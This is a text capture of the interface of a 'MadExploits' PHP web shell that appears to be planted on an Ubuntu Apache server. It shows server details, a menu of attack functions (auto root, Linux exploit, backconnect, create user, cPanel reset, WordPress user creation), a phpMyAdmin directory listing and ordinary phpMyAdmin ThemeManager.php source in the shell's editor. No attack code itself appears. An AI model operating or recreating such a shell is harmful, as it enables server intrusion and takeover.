Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Advisor.php
12.22
KB
-rw-r--r--
Bookmark.php
10.69
KB
-rw-r--r--
BrowseForeigners.php
10.82
KB
-rw-r--r--
Charsets.php
7.1
KB
-rw-r--r--
CheckUserPrivileges.php
11.94
KB
-rw-r--r--
Config.php
45.37
KB
-rw-r--r--
Console.php
3.38
KB
-rw-r--r--
Core.php
42.33
KB
-rw-r--r--
CreateAddField.php
17.57
KB
-rw-r--r--
DatabaseInterface.php
75
KB
-rw-r--r--
DbTableExists.php
3.21
KB
-rw-r--r--
Encoding.php
8.51
KB
-rw-r--r--
Error.php
13.97
KB
-rw-r--r--
ErrorHandler.php
17.15
KB
-rw-r--r--
ErrorReport.php
9.14
KB
-rw-r--r--
Export.php
46.24
KB
-rw-r--r--
File.php
21.28
KB
-rw-r--r--
FileListing.php
2.85
KB
-rw-r--r--
Font.php
5.58
KB
-rw-r--r--
Footer.php
10.54
KB
-rw-r--r--
Git.php
17.95
KB
-rw-r--r--
Header.php
21.45
KB
-rw-r--r--
Import.php
57.46
KB
-rw-r--r--
Index.php
15.07
KB
-rw-r--r--
IndexColumn.php
4.23
KB
-rw-r--r--
InsertEdit.php
130.18
KB
-rw-r--r--
InternalRelations.php
17.31
KB
-rw-r--r--
IpAllowDeny.php
9.76
KB
-rw-r--r--
Language.php
4.46
KB
-rw-r--r--
LanguageManager.php
23.96
KB
-rw-r--r--
Linter.php
5.25
KB
-rw-r--r--
ListAbstract.php
1.77
KB
-rw-r--r--
ListDatabase.php
4.3
KB
-rw-r--r--
Logging.php
2.72
KB
-rw-r--r--
Menu.php
21.3
KB
-rw-r--r--
Message.php
19.09
KB
-rw-r--r--
Mime.php
916
B
-rw-r--r--
Normalization.php
41.48
KB
-rw-r--r--
OpenDocument.php
8.42
KB
-rw-r--r--
Operations.php
37.84
KB
-rw-r--r--
OutputBuffering.php
3.98
KB
-rw-r--r--
ParseAnalyze.php
2.37
KB
-rw-r--r--
Partition.php
7.17
KB
-rw-r--r--
Pdf.php
4.34
KB
-rw-r--r--
Plugins.php
25.18
KB
-rw-r--r--
Profiling.php
2.26
KB
-rw-r--r--
RecentFavoriteTable.php
12.01
KB
-rw-r--r--
Relation.php
77.39
KB
-rw-r--r--
RelationCleanup.php
14.7
KB
-rw-r--r--
Replication.php
4.73
KB
-rw-r--r--
ReplicationGui.php
21.52
KB
-rw-r--r--
ReplicationInfo.php
4.83
KB
-rw-r--r--
Response.php
16.47
KB
-rw-r--r--
Routing.php
5.71
KB
-rw-r--r--
Sanitize.php
12.13
KB
-rw-r--r--
SavedSearches.php
11.93
KB
-rw-r--r--
Scripts.php
3.64
KB
-rw-r--r--
Session.php
8.01
KB
-rw-r--r--
Sql.php
66.67
KB
-rw-r--r--
SqlQueryForm.php
7.12
KB
-rw-r--r--
StorageEngine.php
12.53
KB
-rw-r--r--
SubPartition.php
3.32
KB
-rw-r--r--
SystemDatabase.php
3.66
KB
-rw-r--r--
Table.php
95.67
KB
-rw-r--r--
TablePartitionDefinition.php
6.51
KB
-rw-r--r--
Template.php
3.87
KB
-rw-r--r--
Theme.php
8.76
KB
-rw-r--r--
ThemeManager.php
9.58
KB
-rw-r--r--
Tracker.php
29.78
KB
-rw-r--r--
Tracking.php
37.25
KB
-rw-r--r--
Transformations.php
16.29
KB
-rw-r--r--
TwoFactor.php
6.8
KB
-rw-r--r--
Types.php
25.2
KB
-rw-r--r--
Url.php
8.76
KB
-rw-r--r--
UserPassword.php
7.11
KB
-rw-r--r--
UserPreferences.php
8.45
KB
-rw-r--r--
Util.php
102.31
KB
-rw-r--r--
Version.php
533
B
-rw-r--r--
VersionInformation.php
7.15
KB
-rw-r--r--
ZipExtension.php
10.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ThemeManager.php
<?php /** * phpMyAdmin theme manager */ declare(strict_types=1); namespace PhpMyAdmin; use const DIRECTORY_SEPARATOR; use const E_USER_ERROR; use const E_USER_WARNING; use function array_key_exists; use function closedir; use function htmlspecialchars; use function is_dir; use function ksort; use function opendir; use function readdir; use function sprintf; use function trigger_error; use function trim; /** * phpMyAdmin theme manager */ class ThemeManager { /** * ThemeManager instance * * @access private * @static * @var ThemeManager */ private static $instance; /** * @var string path to theme folder * @access protected */ private $themesPath = './themes/'; /** @var array available themes */ public $themes = []; /** @var string cookie name */ public $cookieName = 'pma_theme'; /** @var bool */ public $perServer = false; /** @var string name of active theme */ public $activeTheme = ''; /** @var Theme Theme active theme */ public $theme = null; /** @var string */ public $themeDefault; /** * @const string The name of the fallback theme */ public const FALLBACK_THEME = 'pmahomme'; public function __construct() { $this->themes = []; $this->themeDefault = self::FALLBACK_THEME; $this->activeTheme = ''; if (! $this->setThemesPath('./themes/')) { return; } $this->setThemePerServer($GLOBALS['cfg']['ThemePerServer']); $this->loadThemes(); $this->theme = new Theme(); $config_theme_exists = true; if (! $this->checkTheme($GLOBALS['cfg']['ThemeDefault'])) { trigger_error( sprintf( __('Default theme %s not found!'), htmlspecialchars($GLOBALS['cfg']['ThemeDefault']) ), E_USER_ERROR ); $config_theme_exists = false; } else { $this->themeDefault = $GLOBALS['cfg']['ThemeDefault']; } // check if user have a theme cookie $cookie_theme = $this->getThemeCookie(); if ($cookie_theme && $this->setActiveTheme($cookie_theme)) { return; } if ($config_theme_exists) { // otherwise use default theme $this->setActiveTheme($this->themeDefault); } else { // or fallback theme $this->setActiveTheme(self::FALLBACK_THEME); } } /** * Returns the singleton ThemeManager object * * @return ThemeManager The instance */ public static function getInstance(): ThemeManager { if (empty(self::$instance)) { self::$instance = new ThemeManager(); } return self::$instance; } /** * sets path to folder containing the themes * * @param string $path path to themes folder * * @return bool success * * @access public */ public function setThemesPath($path): bool { if (! $this->checkThemeFolder($path)) { return false; } $this->themesPath = trim($path); return true; } /** * sets if there are different themes per server * * @param bool $per_server Whether to enable per server flag * * @access public */ public function setThemePerServer($per_server): void { $this->perServer = (bool) $per_server; } /** * Sets active theme * * @param string|null $theme theme name * * @return bool true on success * * @access public */ public function setActiveTheme(?string $theme): bool { if (! $this->checkTheme($theme)) { trigger_error( sprintf( __('Theme %s not found!'), htmlspecialchars((string) $theme) ), E_USER_ERROR ); return false; } $this->activeTheme = $theme; $this->theme = $this->themes[$theme]; // need to set later //$this->setThemeCookie(); return true; } /** * Returns name for storing theme * * @return string cookie name * * @access public */ public function getThemeCookieName() { // Allow different theme per server if (isset($GLOBALS['server']) && $this->perServer) { return $this->cookieName . '-' . $GLOBALS['server']; } return $this->cookieName; } /** * returns name of theme stored in the cookie * * @return string|false theme name from cookie or false * * @access public */ public function getThemeCookie() { global $PMA_Config; $name = $this->getThemeCookieName(); if ($PMA_Config->issetCookie($name)) { return $PMA_Config->getCookie($name); } return false; } /** * save theme in cookie * * @return true * * @access public */ public function setThemeCookie(): bool { $themeId = $this->theme !== null ? (string) $this->theme->id : ''; $GLOBALS['PMA_Config']->setCookie( $this->getThemeCookieName(), $themeId, $this->themeDefault ); // force a change of a dummy session variable to avoid problems // with the caching of phpmyadmin.css.php $GLOBALS['PMA_Config']->set('theme-update', $themeId); return true; } /** * Checks whether folder is valid for storing themes * * @param string $folder Folder name to test * * @access private */ private function checkThemeFolder($folder): bool { if (! is_dir($folder)) { trigger_error( sprintf( __('Theme path not found for theme %s!'), htmlspecialchars($folder) ), E_USER_ERROR ); return false; } return true; } /** * read all themes * * @access public */ public function loadThemes(): bool { $this->themes = []; $handleThemes = opendir($this->themesPath); if ($handleThemes === false) { trigger_error( 'phpMyAdmin-ERROR: cannot open themes folder: ' . $this->themesPath, E_USER_WARNING ); return false; } // check for themes directory while (($PMA_Theme = readdir($handleThemes)) !== false) { // Skip non dirs, . and .. if ($PMA_Theme === '.' || $PMA_Theme === '..' || ! @is_dir(ROOT_PATH . $this->themesPath . $PMA_Theme) ) { continue; } if (array_key_exists($PMA_Theme, $this->themes)) { continue; } $new_theme = Theme::load( $this->themesPath . $PMA_Theme, ROOT_PATH . $this->themesPath . $PMA_Theme . '/' ); if (! $new_theme) { continue; } $new_theme->setId($PMA_Theme); $this->themes[$PMA_Theme] = $new_theme; } closedir($handleThemes); ksort($this->themes); return true; } /** * checks if given theme name is a known theme * * @param string|null $theme name fo theme to check for * * @access public */ public function checkTheme(?string $theme): bool { return array_key_exists($theme ?? '', $this->themes); } /** * returns HTML selectbox * * @access public */ public function getHtmlSelectBox(): string { $select_box = ''; $select_box .= '<form name="setTheme" method="post"'; $select_box .= ' action="index.php?route=/set-theme" class="disableAjax">'; $select_box .= Url::getHiddenInputs(); $theme_preview_href = '<a href="' . Url::getFromRoute('/themes') . '" target="themes" class="themeselect">'; $select_box .= $theme_preview_href . __('Theme:') . '</a>' . "\n"; $select_box .= '<select name="set_theme" lang="en" dir="ltr"' . ' class="autosubmit">'; foreach ($this->themes as $each_theme_id => $each_theme) { $select_box .= '<option value="' . $each_theme_id . '"'; if ($this->activeTheme === $each_theme_id) { $select_box .= ' selected="selected"'; } $select_box .= '>' . htmlspecialchars($each_theme->getName()) . '</option>'; } $select_box .= '</select>'; $select_box .= '</form>'; return $select_box; } /** * Renders the previews for all themes * * @access public */ public function getPrintPreviews(): string { $retval = ''; foreach ($this->themes as $each_theme) { $retval .= $each_theme->getPrintPreview(); } return $retval; } public static function initializeTheme(): ?Theme { $themeManager = self::getInstance(); return $themeManager->theme; } /** * Return the themes directory with a trailing slash */ public static function getThemesFsDir(): string { return ROOT_PATH . 'themes' . DIRECTORY_SEPARATOR; } /** * Return the themes directory with a trailing slash as a relative public path */ public static function getThemesDir(): string { return './themes' . DIRECTORY_SEPARATOR; } }
Close